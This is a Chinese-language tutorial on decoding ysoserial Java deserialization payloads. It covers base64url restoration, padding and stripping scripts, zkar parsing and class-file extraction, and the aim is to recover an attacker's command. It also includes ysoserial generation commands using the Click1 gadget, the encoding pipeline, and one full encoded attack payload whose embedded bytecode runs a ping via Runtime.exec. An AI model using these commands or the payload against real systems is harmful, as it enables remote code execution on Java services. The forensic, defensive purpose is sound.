Ysoserial反序列化Payload解码教学文档<\/h1>

0x00 前言<\/h2>
本教学文档详细讲解如何解码ysoserial.jar生成的反序列化Payload，特别是处理经过编码变形的Payload（如AKztAA开头格式）。文档包含基础知识、解码步骤和实战案例。<\/p>

0x01 基础知识：文件头识别<\/h2>

在开始解码前，需要了解几种常见的文件头：<\/p>

Java class文件16进制<\/strong>：以cafebabe<\/code>开头<\/li> <\/ol> 工具推荐：<\/p> zkar<\/a>：解析序列化数据<\/li> SerializationDumper<\/a>：解析序列化数据<\/li> <\/ul> 0x02 原始Payload生成与分析<\/h2> 生成原始Payload<\/h3> java -jar ysoserial.jar Click1 "touch \/tmp\/xx"<\/span> > raw_payload.bin <\/span><\/span><\/code><\/pre>分析Payload<\/h3> 查看16进制格式：<\/li> <\/ol> hexdump -C raw_payload.bin <\/span><\/span><\/code><\/pre> 使用zkar解析：<\/li> <\/ol> .\/zkar dump -f raw_payload.bin > raw_payload_decode.txt <\/span><\/span><\/code><\/pre> 查找cafebabe<\/code>开头的class文件16进制，保存为.class文件后用IDEA反编译<\/li> <\/ol> 0x03 编码替换的Payload处理<\/h2> 编码过程<\/h3> 典型编码命令：<\/p> java -jar ysoserial.jar Click1 "touch \/tmp\/xx"<\/span> | (<\/span>echo -ne \\<\/span>x00 &&<\/span> cat)<\/span> | base64 | tr '\/+'<\/span> '_-'<\/span> | tr -d '='<\/span> <\/span><\/span><\/code><\/pre>分解步骤：<\/p> 生成原始Payload<\/li> 在Payload前插入空字节(\x00)<\/li> Base64编码<\/li> 替换\/<\/code>为_<\/code>，+<\/code>为-<\/code><\/li> 删除等号=<\/code><\/li> <\/ol> 解码步骤<\/h3> 1. 还原Base64字符和补充等号<\/h4> cat encoded_payload | tr '_-'<\/span> '\/+'<\/span> > restore_base64_lack_equal.bin <\/span><\/span><\/code><\/pre>使用add_equal.sh<\/code>脚本补充等号：<\/p> #!\/bin\/bash <\/span><\/span><\/span><\/span>file_content=<\/span>$(<\/span>cat restore_base64_lack_equal.bin)<\/span> <\/span><\/span>base64_string=<\/span>$(<\/span>echo -n "<\/span>$file_content"<\/span> | tr -d '\n'<\/span>)<\/span> <\/span><\/span>length=<\/span>${#<\/span>base64_string}<\/span> <\/span><\/span>remainder=<\/span>$((<\/span>length %<\/span> 4<\/span>))<\/span> <\/span><\/span>padding=<\/span>$((<\/span>(<\/span>4<\/span> -<\/span> remainder)<\/span> %<\/span> 4<\/span>))<\/span> <\/span><\/span> <\/span><\/span>if<\/span> ((<\/span>padding > 0))<\/span>; then<\/span> <\/span><\/span> padding_string=<\/span>$(<\/span>printf '=%.0s'<\/span> $(<\/span>seq 1<\/span> $padding))<\/span> <\/span><\/span> base64_string=<\/span>"<\/span>$base64_string$padding_string"<\/span> <\/span><\/span>fi<\/span> <\/span><\/span> <\/span><\/span>echo "<\/span>$base64_string"<\/span> > restore_base64.bin <\/span><\/span><\/code><\/pre>2. Base64解码<\/h4> cat restore_base64.bin | base64 -d > restore_00.bin <\/span><\/span><\/code><\/pre>3. 跳过开头的空字节<\/h4> tail -c +2 restore_00.bin > restore.bin <\/span><\/span><\/code><\/pre>4. 使用zkar解析<\/h4> .\/zkar dump -f restore.bin > restore.txt <\/span><\/span><\/code><\/pre>5. 提取class文件<\/h4> 从解析结果中找到cafebabe<\/code>开头的16进制数据，使用以下Python脚本保存为.class文件：<\/p> import<\/span> re <\/span><\/span> <\/span><\/span>def<\/span> extract_hex_to_file<\/span>(input_filename, output_filename): <\/span><\/span> with<\/span> open(input_filename, "r"<\/span>) as<\/span> file: <\/span><\/span> input_text =<\/span> file.<\/span>read() <\/span><\/span> <\/span><\/span> # 移除行号和竖线<\/span> <\/span><\/span> input_text =<\/span> re.<\/span>sub(r<\/span>'[0-9a-fA-F]<\/span>{8}<\/span>'<\/span>, ''<\/span>, input_text) <\/span><\/span> input_text =<\/span> re.<\/span>sub(r<\/span>'\|.*\|'<\/span>, ''<\/span>, input_text) <\/span><\/span> <\/span><\/span> # 提取16进制数据<\/span> <\/span><\/span> hex_data =<\/span> re.<\/span>findall(r<\/span>"[0-9a-fA-F]<\/span>{2}<\/span>(?: [0-9a-fA-F]<\/span>{2}<\/span>)*"<\/span>, input_text) <\/span><\/span> hex_string =<\/span> ""<\/span>.<\/span>join(hex_data).<\/span>replace(" "<\/span>, ""<\/span>) <\/span><\/span> <\/span><\/span> # 写入文件<\/span> <\/span><\/span> with<\/span> open(output_filename, "wb"<\/span>) as<\/span> file: <\/span><\/span> file.<\/span>write(bytes.<\/span>fromhex(hex_string)) <\/span><\/span><\/code><\/pre>0x04 实战案例<\/h2> 攻击Payload示例<\/h3> AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXVldWWU2jC0-z-CsQMAAkkABHNpemVMAApjb21wYXJhdG9ydAAWTGphdmEvdXRpbC9Db21wYXJhdG9yO3hwAAAAAnNyADBvcmcuYXBhY2hlLmNsaWNrLmNvbnRyb2wuQ29sdW1uJENvbHVtbkNvbXBhcmF0b3IAAAAAAAAAAQIAAkkADWFzY2VuZGluZ1NvcnRMAAZjb2x1bW50ACFMb3JnL2FwYWNoZS9jbGljay9jb250cm9sL0NvbHVtbjt4cAAAAAFzcgAfb3JnLmFwYWNoZS5jbGljay5jb250cm9sLkNvbHVtbgAAAAAAAAABAgATWgAIYXV0b2xpbmtaAAplc2NhcGVIdG1sSQAJbWF4TGVuZ3RoTAAKYXR0cmlidXRlc3QAD0xqYXZhL3V0aWwvTWFwO0wACmNvbXBhcmF0b3JxAH4AAUwACWRhdGFDbGFzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wACmRhdGFTdHlsZXNxAH4AB0wACWRlY29yYXRvcnQAJExvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvRGVjb3JhdG9yO0wABmZvcm1hdHEAfgAITAALaGVhZGVyQ2xhc3NxAH4ACEwADGhlYWRlclN0eWxlc3EAfgAHTAALaGVhZGVyVGl0bGVxAH4ACEwADW1lc3NhZ2VGb3JtYXR0ABlMamF2YS90ZXh0L01lc3NhZ2VGb3JtYXQ7TAAEbmFtZXEAfgAITAAIcmVuZGVySWR0ABNMamF2YS9sYW5nL0Jvb2xlYW47TAAIc29ydGFibGVxAH4AC0wABXRhYmxldAAgTG9yZy9hcGFjaGUvY2xpY2svY29udHJvbC9UYWJsZTtMAA10aXRsZVByb3BlcnR5cQB-AAhMAAV3aWR0aHEAfgAIeHAAAQAAAABwcHBwcHBwcHBwdAAQb3V0cHV0UHJvcGVydGllc3Bwc3IAHm9yZy5hcGFjaGUuY2xpY2suY29udHJvbC5UYWJsZQAAAAAAAAABAgAXSQAOYmFubmVyUG9zaXRpb25aAAlob3ZlclJvd3NaABdudWxsaWZ5Um93TGlzdE9uRGVzdHJveUkACnBhZ2VOdW1iZXJJAAhwYWdlU2l6ZUkAE3BhZ2luYXRvckF0dGFjaG1lbnRaAAhyZW5kZXJJZEkACHJvd0NvdW50WgAKc2hvd0Jhbm5lcloACHNvcnRhYmxlWgAGc29ydGVkWgAPc29ydGVkQXNjZW5kaW5nTAAHY2FwdGlvbnEAfgAITAAKY29sdW1uTGlzdHQAEExqYXZhL3V0aWwvTGlzdDtMAAdjb2x1bW5zcQB-AAdMAAtjb250cm9sTGlua3QAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvQWN0aW9uTGluaztMAAtjb250cm9sTGlzdHEAfgAQTAAMZGF0YVByb3ZpZGVydAAsTG9yZy9hcGFjaGUvY2xpY2svZGF0YXByb3ZpZGVyL0RhdGFQcm92aWRlcjtMAAZoZWlnaHRxAH4ACEwACXBhZ2luYXRvcnQAJUxvcmcvYXBhY2hlL2NsaWNrL2NvbnRyb2wvUmVuZGVyYWJsZTtMAAdyb3dMaXN0cQB-ABBMAAxzb3J0ZWRDb2x1bW5xAH4ACEwABXdpZHRocQB-AAh4cgAob3JnLmFwYWNoZS5jbGljay5jb250cm9sLkFic3RyYWN0Q29udHJvbAAAAAAAAAABAgAJTAAOYWN0aW9uTGlzdGVuZXJ0ACFMb3JnL2FwYWNoZS9jbGljay9BY3Rpb25MaXN0ZW5lcjtMAAphdHRyaWJ1dGVzcQB-AAdMAAliZWhhdmlvcnN0AA9MamF2YS91dGlsL1NldDtMAAxoZWFkRWxlbWVudHNxAH4AEEwACGxpc3RlbmVydAASTGphdmEvbGFuZy9PYmplY3Q7TAAObGlzdGVuZXJNZXRob2RxAH4ACEwABG5hbWVxAH4ACEwABnBhcmVudHEAfgAXTAAGc3R5bGVzcQB-AAd4cHBwcHBwcHBwcAAAAAIAAQAAAAAAAAAAAAAAAQAAAAAAAAAAAXBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhwcHBwcHBwcHBwdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAITAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA_____3VyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAa1yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk_OR3e8-AQAGPGluaXQ-AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ-AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAH3BpbmcgLW4gNCAtbCAxMjU1NCAxMC4yMDAuMzAuMTUIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXIyMjI3NDgxMDI2MjI4NDgBACBMeXNvc2VyaWFsL1B3bmVyMjIyNzQ4MTAyNjIyODQ4OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AJAAAAdTK_rq-AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4c3IAFGphdmEubWF0aC5CaWdJbnRlZ2VyjPyfH6k7-x0DAAZJAAhiaXRDb3VudEkACWJpdExlbmd0aEkAE2ZpcnN0Tm9uemVyb0J5dGVOdW1JAAxsb3dlc3RTZXRCaXRJAAZzaWdudW1bAAltYWduaXR1ZGV0AAJbQnhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cP_v____4AAAABdXEAfgAkAAAAAQF4eA <\/code><\/pre> 解码步骤<\/h3> 还原Base64字符：<\/li> <\/ol> cat target.bin | tr '_-'<\/span> '\/+'<\/span> > target_lack_equal.bin <\/span><\/span><\/code><\/pre> 补充等号（使用修改后的add_equal.sh）：<\/li> <\/ol> #!\/bin\/bash <\/span><\/span><\/span><\/span>if<\/span> [<\/span> "<\/span>$#"<\/span> -ne 1<\/span> ]<\/span>; then<\/span> <\/span><\/span> echo "Usage: <\/span>$0 <filename>"<\/span> <\/span><\/span> exit 1<\/span> <\/span><\/span>fi<\/span> <\/span><\/span> <\/span><\/span>filename=<\/span>"<\/span>$1"<\/span> <\/span><\/span>if<\/span> [<\/span> ! -f "<\/span>$filename"<\/span> ]<\/span>; then<\/span> <\/span><\/span> echo "File '<\/span>$filename' not found."<\/span> <\/span><\/span> exit 1<\/span> <\/span><\/span>fi<\/span> <\/span><\/span> <\/span><\/span>file_content=<\/span>$(<\/span>cat "<\/span>$filename"<\/span>)<\/span> <\/span><\/span>base64_string=<\/span>$(<\/span>echo -n "<\/span>$file_content"<\/span> | tr -d '\n'<\/span>)<\/span> <\/span><\/span>length=<\/span>${#<\/span>base64_string}<\/span> <\/span><\/span>remainder=<\/span>$((<\/span>length %<\/span> 4<\/span>))<\/span> <\/span><\/span>padding=<\/span>$((<\/span>(<\/span>4<\/span> -<\/span> remainder)<\/span> %<\/span> 4<\/span>))<\/span> <\/span><\/span> <\/span><\/span>if<\/span> ((<\/span>padding > 0))<\/span>; then<\/span> <\/span><\/span> padding_string=<\/span>$(<\/span>printf '=%.0s'<\/span> $(<\/span>seq 1<\/span> $padding))<\/span> <\/span><\/span> base64_string=<\/span>"<\/span>$base64_string$padding_string"<\/span> <\/span><\/span>fi<\/span> <\/span><\/span> <\/span><\/span>echo "<\/span>$base64_string"<\/span> > target_base64.bin <\/span><\/span><\/code><\/pre> Base64解码：<\/li> <\/ol> cat target_base64.bin | base64 -d > target_00.bin <\/span><\/span><\/code><\/pre> 跳过开头的空字节：<\/li> <\/ol> tail -c +2 target_00.bin > restore.bin <\/span><\/span><\/code><\/pre> 使用zkar解析：<\/li> <\/ol> .\/zkar dump -f restore.bin > restore.txt <\/span><\/span><\/code><\/pre> 提取class文件：<\/li> <\/ol> import<\/span> re <\/span><\/span>import<\/span> sys <\/span><\/span> <\/span><\/span>def<\/span> remove_hex_line<\/span>(input_string): <\/span><\/span> pattern =<\/span> re.<\/span>compile(r<\/span>'[0-9a-fA-F]<\/span>{8}<\/span>'<\/span>) <\/span><\/span> return<\/span> re.<\/span>sub(pattern, ''<\/span>, input_string) <\/span><\/span> <\/span><\/span>def<\/span> remove_vertical_line<\/span>(input_string): <\/span><\/span> pattern =<\/span> re.<\/span>compile(r<\/span>'\|.*\|'<\/span>) <\/span><\/span> return<\/span> re.<\/span>sub(pattern, ''<\/span>, input_string) <\/span><\/span> <\/span><\/span>def<\/span> extract_hex_to_file<\/span>(input_filename, output_filename): <\/span><\/span> with<\/span> open(input_filename, "r"<\/span>) as<\/span> file: <\/span><\/span> input_text =<\/span> file.<\/span>read() <\/span><\/span> <\/span><\/span> input_text =<\/span> remove_hex_line(input_text) <\/span><\/span> input_text =<\/span> remove_vertical_line(input_text) <\/span><\/span> <\/span><\/span> hex_data =<\/span> re.<\/span>findall(r<\/span>"[0-9a-fA-F]<\/span>{2}<\/span>(?: [0-9a-fA-F]<\/span>{2}<\/span>)*"<\/span>, input_text) <\/span><\/span> hex_string =<\/span> ""<\/span>.<\/span>join(hex_data).<\/span>replace(" "<\/span>, ""<\/span>) <\/span><\/span> <\/span><\/span> with<\/span> open(output_filename, "wb"<\/span>) as<\/span> file: <\/span><\/span> file.<\/span>write(bytes.<\/span>fromhex(hex_string)) <\/span><\/span> <\/span><\/span>if<\/span> __name__ ==<\/span> "__main__"<\/span>: <\/span><\/span> if<\/span> len(sys.<\/span>argv) !=<\/span> 3<\/span>: <\/span><\/span> print("Usage: python3 extract_hex.py input_filename output_filename"<\/span>) <\/span><\/span> sys.<\/span>exit(1<\/span>) <\/span><\/span> <\/span><\/span> input_filename =<\/span> sys.<\/span>argv[1<\/span>] <\/span><\/span> output_filename =<\/span> sys.<\/span>argv[2<\/span>] <\/span><\/span> extract_hex_to_file(input_filename, output_filename) <\/span><\/span><\/code><\/pre> 反编译class文件：将生成的restore.class文件拖入IDEA进行反编译，查看攻击者意图执行的命令。<\/li> <\/ol> 0x05 注意事项<\/h2> Payload不一致问题<\/strong>：ysoserial两次生成的Payload可能不同，这是正常现象<\/li> 自动化工具<\/strong>：可以考虑将上述步骤整合为一个自动化工具，简化解码流程<\/li> 实战分析<\/strong>：在实际分析中，需要从HTTP请求中提取jato.pageSession等参数值进行处理<\/li> <\/ol> 通过以上步骤，可以完整解码经过编码的ysoserial反序列化Payload，并分析出攻击者意图执行的命令。<\/p>

Ysoserial反序列化Payload解码教学文档<\/h1>

0x00 前言<\/h2> 本教学文档详细讲解如何解码ysoserial.jar生成的反序列化Payload，特别是处理经过编码变形的Payload（如AKztAA开头格式）。文档包含基础知识、解码步骤和实战案例。<\/p>

0x02 原始Payload生成与分析<\/h2>

0x03 编码替换的Payload处理<\/h2>

解码步骤<\/h3>

0x04 实战案例<\/h2>

0x00 前言<\/h2>
本教学文档详细讲解如何解码ysoserial.jar生成的反序列化Payload，特别是处理经过编码变形的Payload（如AKztAA开头格式）。文档包含基础知识、解码步骤和实战案例。<\/p>